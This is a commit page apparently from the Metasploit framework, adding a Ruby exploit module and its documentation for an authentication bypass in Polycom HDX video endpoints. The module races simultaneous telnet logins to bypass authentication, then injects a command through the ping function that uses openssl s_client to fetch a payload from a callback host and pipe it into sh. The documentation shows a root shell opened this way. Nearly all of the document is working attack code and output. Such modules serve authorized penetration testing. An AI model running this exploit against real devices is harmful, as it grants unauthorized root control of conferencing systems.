Browse Source

Land #6960, Auth bypass for Polycom HDX video endpoints

Brent Cook 3 years ago
parent
commit
abf435d6c2
No account linked to committer's email address

+ 36
- 0
documentation/modules/exploit/unix/misc/psh_auth_bypass.md View File

@@ -0,0 +1,36 @@
1
+## Vulnerable Application
2
+
3
+This module exploits the Polycom HDX video endpoints with software <= 3.0.5.
4
+It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port
5
+23 should be accessible, as it is with the factory default configuration.
6
+
7
+## Verification Steps
8
+
9
+A successful check of the exploit will look like this:
10
+
11
+```
12
+msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass
13
+msf exploit(psh_auth_bypass) > run
14
+
15
+[*] Started reverse double SSL handler on 192.168.1.120:4444
16
+[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections
17
+[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw
18
+[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186...
19
+[*] Accepted the first client connection...
20
+[*] Accepted the second client connection...
21
+[*] Command: echo xInxktvgUmm7hPyh;
22
+[*] Writing to socket A
23
+[*] Writing to socket B
24
+[*] Reading from sockets...
25
+[*] Reading from socket B
26
+[*] B: "xInxktvgUmm7hPyh\n"
27
+[*] Matching...
28
+[*] A is input...
29
+[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500
30
+[*] 192.168.1.155:23 - Shutting down payload stager listener...
31
+
32
+whoami
33
+root
34
+uname -a
35
+Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown
36
+```

+ 248
- 0
modules/exploits/unix/misc/psh_auth_bypass.rb View File

@@ -0,0 +1,248 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class MetasploitModule < Msf::Exploit::Remote
9
+  Rank = NormalRanking
10
+  include Msf::Exploit::Remote::Tcp
11
+  include Msf::Auxiliary::Report
12
+
13
+  def initialize(info = {})
14
+    super(
15
+      update_info(
16
+        info,
17
+        'Name'            => 'Polycom Command Shell Authorization Bypass',
18
+        'Alias'           => 'psh_auth_bypass',
19
+        'Author'          =>
20
+          [
21
+            'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
22
+            'h00die <mike@shorebreaksecurity.com>',         # submission/cleanup
23
+          ],
24
+        'DisclosureDate'  => 'Jan 18 2013',
25
+        'Description'     => %q(
26
+          The login component of the Polycom Command Shell on Polycom HDX
27
+          video endpints, running software versions 3.0.5 and earlier,
28
+          is vulnerable to an authorization bypass when simultaneous
29
+          connections are made to the service, allowing remote network
30
+          attackers to gain access to a sandboxed telnet prompt without
31
+          authentication. Versions prior to 3.0.4 contain OS command
32
+          injection in the ping command which can be used to execute
33
+          arbitrary commands as root.
34
+          ),
35
+        'License'         => MSF_LICENSE,
36
+        'References'      =>
37
+          [
38
+            [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
39
+            [ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
40
+            [ 'EDB', '24494']
41
+          ],
42
+        'Platform'    => 'unix',
43
+        'Arch'        => ARCH_CMD,
44
+        'Privileged'  => true,
45
+        'Targets'     => [ [ "Universal", {} ] ],
46
+        'Payload'     =>
47
+        {
48
+          'Space'        => 8000,
49
+          'DisableNops'  => true,
50
+          'Compat'       => { 'PayloadType' => 'cmd' }
51
+        },
52
+        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
53
+        'DefaultTarget'  => 0
54
+      )
55
+    )
56
+
57
+    register_options(
58
+      [
59
+        Opt::RHOST(),
60
+        Opt::RPORT(23),
61
+        OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
62
+        OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
63
+      ], self.class
64
+    )
65
+    register_advanced_options(
66
+      [
67
+        OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
68
+        OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
69
+      ], self.class
70
+    )
71
+  end
72
+
73
+  def check
74
+    connect
75
+    sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
76
+    Rex.sleep(1)
77
+    res = sock.get_once
78
+    disconnect
79
+
80
+    if !res && !res.empty?
81
+      return Exploit::CheckCode::Safe
82
+    end
83
+
84
+    if res =~ /Welcome to ViewStation/
85
+      return Exploit::CheckCode::Appears
86
+    end
87
+
88
+    Exploit::CheckCode::Safe
89
+  end
90
+
91
+  def exploit
92
+    # Keep track of results (successful connections)
93
+    results = []
94
+
95
+    # Random string for password
96
+    password = Rex::Text.rand_text_alpha(rand(5) + 1)
97
+
98
+    # Threaded login checker
99
+    max_threads = datastore['THREADS']
100
+    cur_threads = []
101
+
102
+    # Try up to 100 times just to be sure
103
+    queue = [*(1..datastore['MAX_CONNECTIONS'])]
104
+
105
+    print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
106
+    until queue.empty?
107
+      while cur_threads.length < max_threads
108
+
109
+        # We can stop if we get a valid login
110
+        break unless results.empty?
111
+
112
+        # keep track of how many attempts we've made
113
+        item = queue.shift
114
+
115
+        # We can stop if we reach max tries
116
+        break unless item
117
+
118
+        t = Thread.new(item) do |count|
119
+          sock = connect
120
+          sock.put(password + "\n")
121
+          res = sock.get_once
122
+
123
+          until res.empty?
124
+            break unless results.empty?
125
+
126
+            # Post-login Polycom banner means success
127
+            if res =~ /Polycom/
128
+              results << sock
129
+              break
130
+            # bind error indicates bypass is working
131
+            elsif res =~ /bind/
132
+              sock.put(password + "\n")
133
+            # Login error means we need to disconnect
134
+            elsif res =~ /failed/
135
+              break
136
+            # To many connections means we need to disconnect
137
+            elsif res =~ /Error/
138
+              break
139
+            end
140
+            res = sock.get_once
141
+          end
142
+        end
143
+
144
+        cur_threads << t
145
+      end
146
+
147
+      # We can stop if we get a valid login
148
+      break unless results.empty?
149
+
150
+      # Add to a list of dead threads if we're finished
151
+      cur_threads.each_index do |ti|
152
+        t = cur_threads[ti]
153
+        unless t.alive?
154
+          cur_threads[ti] = nil
155
+        end
156
+      end
157
+
158
+      # Remove any dead threads from the set
159
+      cur_threads.delete(nil)
160
+
161
+      Rex.sleep(0.25)
162
+    end
163
+
164
+    # Clean up any remaining threads
165
+    cur_threads.each { |sock| sock.kill }
166
+
167
+    if !results.empty?
168
+      print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
169
+      do_payload(results[0])
170
+    else
171
+      print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
172
+    end
173
+  end
174
+
175
+  def do_payload(sock)
176
+    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
177
+    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
178
+
179
+    # Start a listener
180
+    start_listener(true)
181
+
182
+    # Figure out the port we picked
183
+    cbport = self.service.getsockname[2]
184
+
185
+    # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
186
+    cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
187
+    sock.put(cmd)
188
+
189
+    # Give time for our command to be queued and executed
190
+    1.upto(5) do
191
+      Rex.sleep(1)
192
+      break if session_created?
193
+    end
194
+  end
195
+
196
+  def stage_final_payload(cli)
197
+    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
198
+    cli.put(payload.encoded + "\n")
199
+  end
200
+
201
+  def start_listener(ssl = false)
202
+    comm = datastore['ListenerComm']
203
+    if comm == 'local'
204
+      comm = ::Rex::Socket::Comm::Local
205
+    else
206
+      comm = nil
207
+    end
208
+
209
+    self.service = Rex::Socket::TcpServer.create(
210
+      'LocalPort' => datastore['CBPORT'],
211
+      'SSL'       => ssl,
212
+      'SSLCert'   => datastore['SSLCert'],
213
+      'Comm'      => comm,
214
+      'Context'   =>
215
+      {
216
+        'Msf'        => framework,
217
+        'MsfExploit' => self
218
+      }
219
+    )
220
+
221
+    self.service.on_client_connect_proc = proc { |client|
222
+      stage_final_payload(client)
223
+    }
224
+
225
+    # Start the listening service
226
+    self.service.start
227
+  end
228
+
229
+  # Shut down any running services
230
+  def cleanup
231
+    super
232
+    if self.service
233
+      print_status("Shutting down payload stager listener...")
234
+      begin
235
+        self.service.deref if self.service.is_a?(Rex::Service)
236
+        if self.service.is_a?(Rex::Socket)
237
+          self.service.close
238
+          self.service.stop
239
+        end
240
+        self.service = nil
241
+      rescue ::Exception
242
+      end
243
+    end
244
+  end
245
+
246
+  # Accessor for our TCP payload stager
247
+  attr_accessor :service
248
+end

Loading…
Cancel
Save